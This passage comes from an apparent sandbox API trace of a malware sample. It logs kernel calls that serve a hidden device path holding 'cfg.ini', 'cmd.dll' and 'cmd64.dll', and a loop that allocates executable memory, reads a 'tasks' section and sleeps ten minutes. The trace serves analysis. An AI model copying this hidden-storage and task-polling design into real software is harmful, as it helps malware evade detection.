VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.928] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.928] IdePortDispatch () returned 0x103 [0118.929] KeWaitForMutexObject () returned 0x0 [0118.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.929] KeLeaveCriticalRegion () [0118.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.929] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.929] KeEnterCriticalRegion () [0118.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.929] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c43000 [0118.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.929] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.929] IdePortDispatch () returned 0x103 [0118.929] KeWaitForMutexObject () returned 0x0 [0118.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.930] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.930] IdePortDispatch () returned 0x103 [0118.930] KeWaitForMutexObject () returned 0x0 [0118.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.930] KeLeaveCriticalRegion () [0118.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.931] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.931] KeEnterCriticalRegion () [0118.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.931] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.931] KeLeaveCriticalRegion () [0118.931] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.931] KeEnterCriticalRegion () [0118.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.931] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.931] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.931] KeLeaveCriticalRegion () [0118.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.931] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.931] KeEnterCriticalRegion () [0118.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.931] ExFreePoolWithTag (P=0xfffffa8003aa62a0, Tag=0x0) [0118.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.931] KeLeaveCriticalRegion () [0118.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.931] ReleaseMutex (hMutex=0xf0) returned 1 [0118.931] Sleep (dwMilliseconds=0x927c0) [0118.951] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.951] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.951] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.951] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.951] KeEnterCriticalRegion () [0118.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.951] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.951] IdePortDispatch () returned 0x103 [0118.951] KeWaitForMutexObject () returned 0x0 [0118.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.951] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.951] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.951] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.951] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.951] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf150 [0118.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.951] KeLeaveCriticalRegion () [0118.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.951] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.951] KeEnterCriticalRegion () [0118.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.952] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.952] KeLeaveCriticalRegion () [0118.952] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.952] KeEnterCriticalRegion () [0118.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.952] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.952] IdePortDispatch () returned 0x103 [0118.952] KeWaitForMutexObject () returned 0x0 [0118.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.952] KeLeaveCriticalRegion () [0118.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.952] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.952] KeEnterCriticalRegion () [0118.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c48000 [0118.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.952] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.952] IdePortDispatch () returned 0x103 [0118.953] KeWaitForMutexObject () returned 0x0 [0118.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.953] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.953] IdePortDispatch () returned 0x103 [0118.953] KeWaitForMutexObject () returned 0x0 [0118.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.953] KeLeaveCriticalRegion () [0118.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.954] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.954] KeEnterCriticalRegion () [0118.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.954] KeLeaveCriticalRegion () [0118.954] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.954] KeEnterCriticalRegion () [0118.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.954] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.954] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbf210, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.954] KeLeaveCriticalRegion () [0118.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.954] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.954] KeEnterCriticalRegion () [0118.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.954] ExFreePoolWithTag (P=0xfffffa8003bbf150, Tag=0x0) [0118.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.955] KeLeaveCriticalRegion () [0118.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.955] ReleaseMutex (hMutex=0xf0) returned 1 [0118.955] Sleep (dwMilliseconds=0x927c0) [0118.974] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.974] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.974] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.974] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.974] KeEnterCriticalRegion () [0118.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.974] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.974] IdePortDispatch () returned 0x103 [0118.974] KeWaitForMutexObject () returned 0x0 [0118.974] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.974] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.974] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.974] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.975] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.975] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf010 [0118.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.975] KeLeaveCriticalRegion () [0118.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.975] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.975] KeEnterCriticalRegion () [0118.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.975] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.975] KeLeaveCriticalRegion () [0118.975] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.975] KeEnterCriticalRegion () [0118.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.975] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.975] IdePortDispatch () returned 0x103 [0118.975] KeWaitForMutexObject () returned 0x0 [0118.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.975] KeLeaveCriticalRegion () [0118.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.976] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.976] KeEnterCriticalRegion () [0118.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.976] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4d000 [0118.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.976] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.976] IdePortDispatch () returned 0x103 [0118.976] KeWaitForMutexObject () returned 0x0 [0118.976] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.976] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.976] IdePortDispatch () returned 0x103 [0118.976] KeWaitForMutexObject () returned 0x0 [0118.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.977] KeLeaveCriticalRegion () [0118.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.977] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.977] KeEnterCriticalRegion () [0118.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.977] KeLeaveCriticalRegion () [0118.977] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.977] KeEnterCriticalRegion () [0118.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.977] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.977] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.978] KeLeaveCriticalRegion () [0118.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.978] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.978] KeEnterCriticalRegion () [0118.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.978] ExFreePoolWithTag (P=0xfffffa8003bbf010, Tag=0x0) [0118.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.978] KeLeaveCriticalRegion () [0118.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.978] ReleaseMutex (hMutex=0xf0) returned 1 [0118.978] Sleep (dwMilliseconds=0x927c0) [0119.001] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.001] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.001] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.002] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.002] KeEnterCriticalRegion () [0119.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.002] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.002] IdePortDispatch () returned 0x103 [0119.002] KeWaitForMutexObject () returned 0x0 [0119.002] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.002] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.002] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.002] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.002] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.002] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca1d0 [0119.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.002] KeLeaveCriticalRegion () [0119.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.002] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.002] KeEnterCriticalRegion () [0119.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.002] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.002] KeLeaveCriticalRegion () [0119.002] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.002] KeEnterCriticalRegion () [0119.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.002] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.002] IdePortDispatch () returned 0x103 [0119.002] KeWaitForMutexObject () returned 0x0 [0119.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.003] KeLeaveCriticalRegion () [0119.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.003] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.003] KeEnterCriticalRegion () [0119.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c52000 [0119.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.003] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.003] IdePortDispatch () returned 0x103 [0119.003] KeWaitForMutexObject () returned 0x0 [0119.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.003] IoAllocateMdl (in: 